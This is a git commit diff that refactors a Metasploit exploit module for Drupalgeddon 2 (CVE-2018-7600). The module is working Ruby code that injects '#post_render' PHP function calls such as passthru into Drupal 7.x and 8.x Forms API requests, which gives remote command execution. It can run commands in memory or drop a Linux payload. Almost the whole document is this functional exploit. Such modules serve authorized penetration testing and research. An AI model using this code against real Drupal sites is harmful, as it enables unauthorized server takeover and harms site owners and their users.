Refactor module and address review comments

GSoC/Meterpreter_Web_Console
William Vu 2018-04-17 12:50:46 -05:00
parent d8508b8d7d
commit 1900aa2708
1 changed files with 155 additions and 37 deletions

View File

@ -8,17 +8,23 @@ class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {}) def initialize(info = {})
super(update_info(info, super(update_info(info,
'Name' => 'Drupal Drupalgeddon 2', 'Name' => 'Drupal Drupalgeddon 2 Forms API Property Injection',
'Description' => %q{ 'Description' => %q{
This module exploits a vulnerability. This module exploits a Drupal property injection in the Forms API.
Drupal 6.x, < 7.58, 8.2.x, < 8.3.9, < 8.4.6, and < 8.5.1 are vulnerable.
Tested on 7.57 and 8.4.5.
}, },
'Author' => [ 'Author' => [
'Jasper Mattsson', # Vulnerability discovery 'Jasper Mattsson', # Vulnerability discovery
'a2u', # Proof of concept 'a2u', # Proof of concept (Drupal 8.x)
'Nixawk', # Proof of concept 'Nixawk', # Proof of concept (Drupal 8.x)
'FireFart', # Proof of concept (Drupal 7.x)
'wvu' # Metasploit module 'wvu' # Metasploit module
], ],
'References' => [ 'References' => [
@ -27,17 +33,39 @@ class MetasploitModule < Msf::Exploit::Remote
['URL', 'https://greysec.net/showthread.php?tid=2912'], ['URL', 'https://greysec.net/showthread.php?tid=2912'],
['URL', 'https://research.checkpoint.com/uncovering-drupalgeddon-2/'], ['URL', 'https://research.checkpoint.com/uncovering-drupalgeddon-2/'],
['URL', 'https://github.com/a2u/CVE-2018-7600'], ['URL', 'https://github.com/a2u/CVE-2018-7600'],
['URL', 'https://github.com/nixawk/labs/issues/19'] ['URL', 'https://github.com/nixawk/labs/issues/19'],
['URL', 'https://github.com/FireFart/CVE-2018-7600'],
['AKA', 'Drupalgeddon 2']
], ],
'DisclosureDate' => 'Mar 28 2018', 'DisclosureDate' => 'Mar 28 2018',
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'Platform' => 'unix', 'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD, 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => false, 'Privileged' => false,
# XXX: Using "x" in Gem::Version::new isn't technically appropriate
'Targets' => [ 'Targets' => [
['Drupal < 7.58, < 8.3.9, < 8.4.6, < 8.5.1', {}] ['Drupal 7.x (Unix In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Version' => Gem::Version.new('7.x')
],
['Drupal 7.x (Linux Dropper)',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Version' => Gem::Version.new('7.x')
],
['Drupal 8.x (Unix In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Version' => Gem::Version.new('8.x')
],
['Drupal 8.x (Linux Dropper)',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Version' => Gem::Version.new('8.x')
]
], ],
'DefaultTarget' => 0, 'DefaultTarget' => 2, # Drupal 8.x (Unix In-Memory)
'DefaultOptions' => { 'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/generic', 'PAYLOAD' => 'cmd/unix/generic',
'CMD' => 'id; uname -a' 'CMD' => 'id; uname -a'
@ -46,15 +74,16 @@ class MetasploitModule < Msf::Exploit::Remote
register_options([ register_options([
OptString.new('TARGETURI', [true, 'Path to Drupal install', '/']), OptString.new('TARGETURI', [true, 'Path to Drupal install', '/']),
OptString.new('PHP_FUNC', [true, 'PHP function to execute', 'passthru']),
OptBool.new('CLEAN_URLS', [false, 'If clean URLs are enabled', true]), OptBool.new('CLEAN_URLS', [false, 'If clean URLs are enabled', true]),
OptBool.new('DUMP_OUTPUT', [false, 'If output should be dumped', true]) OptBool.new('DUMP_OUTPUT', [false, 'If output should be dumped', false])
]) ])
end end
def check def check
token = Rex::Text.rand_text_alphanumeric(8..42) token = Rex::Text.rand_text_alphanumeric(8..42)
res = exploit(code: "echo #{token}") res = execute_command(token, func: 'printf')
if res && res.body.include?(token) if res && res.body.include?(token)
return CheckCode::Vulnerable return CheckCode::Vulnerable
@ -63,36 +92,37 @@ class MetasploitModule < Msf::Exploit::Remote
CheckCode::Safe CheckCode::Safe
end end
# TODO: passthru() may be disabled, so try others def exploit
def exploit(func: 'passthru', code: payload.encoded) if datastore['PAYLOAD'] == 'cmd/unix/generic'
if datastore['CLEAN_URLS'] print_warning('Enabling DUMP_OUTPUT for cmd/unix/generic')
register = '/user/register' # XXX: Naughty datastore modification
else datastore['DUMP_OUTPUT'] = true
register = '?q=user/register'
end end
print_status("Executing on target: #{code}") case target.name
when /In-Memory/
execute_command(payload.encoded)
when /Dropper/
execute_cmdstager
end
end
res = send_request_cgi( def execute_command(cmd, opts = {})
'method' => 'POST', # TODO: passthru() may be disabled, so try others
'uri' => normalize_uri(target_uri.path, register), func = opts[:func] || datastore['PHP_FUNC'] || 'passthru'
'vars_get' => {
'element_parents' => 'account/mail/#value',
'ajax_form' => 1,
'_wrapper_format' => 'drupal_ajax'
},
'vars_post' => {
'form_id' => 'user_register_form',
'_drupal_ajax' => 1,
'mail[#type]' => 'markup',
'mail[#post_render][]' => func,
'mail[#markup]' => code
}
)
if res.nil? || res.code != 200 vprint_status("Executing with #{func}(): #{cmd}")
print_error("Unexpected reply: #{res.inspect}")
return nil res = case target['Version'].to_s
when '7.x'
exploit_drupal7(func, cmd)
when '8.x'
exploit_drupal8(func, cmd)
end
unless res && res.code == 200
vprint_error("Unexpected final reply: #{res.inspect}")
return
end end
print_line(res.body) if datastore['DUMP_OUTPUT'] print_line(res.body) if datastore['DUMP_OUTPUT']
@ -100,4 +130,92 @@ class MetasploitModule < Msf::Exploit::Remote
res res
end end
def exploit_drupal7(func, code)
vars_get = {
'name[#post_render][]' => func,
'name[#markup]' => code,
'name[#type]' => 'markup'
}
vars_post = {
'form_id' => 'user_pass',
'_triggering_element_name' => 'name'
}
if datastore['CLEAN_URLS']
uri = normalize_uri(target_uri.path, '/user/password')
else
uri = target_uri.path
vars_get = {'q' => 'user/password'}.merge(vars_get)
end
res = send_request_cgi(
'method' => 'POST',
'uri' => uri,
'vars_get' => vars_get,
'vars_post' => vars_post
)
unless res && res.code == 200
vprint_error("Unexpected intermediate reply: #{res.inspect}")
return
end
form_build_id = res.get_html_document.at(
'//input[@name = "form_build_id"]/@value'
)
if form_build_id
form_build_id = form_build_id.value
else
vprint_error("Unknown form_build_id: #{res.inspect}")
return
end
vars_get = {
'q' => "file/ajax/name/#value/#{form_build_id}"
}
vars_post = {
'form_build_id' => form_build_id
}
send_request_cgi(
'method' => 'POST',
'uri' => uri,
'vars_get' => vars_get,
'vars_post' => vars_post
)
end
def exploit_drupal8(func, code)
vars_get = {
'element_parents' => 'account/mail/#value',
'ajax_form' => 1,
'_wrapper_format' => 'drupal_ajax'
}
vars_post = {
'form_id' => 'user_register_form',
'_drupal_ajax' => 1,
'mail[#type]' => 'markup',
'mail[#post_render][]' => func,
'mail[#markup]' => code
}
if datastore['CLEAN_URLS']
uri = normalize_uri(target_uri.path, '/user/register')
else
uri = target_uri.path
vars_get = {'q' => 'user/register'}.merge(vars_get)
end
send_request_cgi(
'method' => 'POST',
'uri' => uri,
'vars_get' => vars_get,
'vars_post' => vars_post
)
end
end end